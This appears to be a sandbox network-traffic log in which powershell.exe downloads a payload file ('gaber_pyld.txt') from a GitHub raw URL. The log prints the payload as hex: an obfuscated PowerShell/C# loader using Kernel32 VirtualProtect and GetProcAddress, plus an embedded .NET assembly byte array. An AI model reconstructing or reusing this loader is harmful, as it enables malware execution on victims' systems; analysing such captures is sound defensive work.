2024-09-16 06:22:37 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 60AD:1C6B4D:6074A8:6B74DC:66E7CEAC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740052-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467758.866315,VS0,VE22 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: db99c076c3a54f05665c3ca04de3b6968f971376 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49740	185.199.109.133	443	5616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 712A:2E384B:5AF22B:65EE49:66E7CEAD Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740064-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726467758.878541,VS0,VE0 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8b762796bdf85725f976576641d5e181a6e75825 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 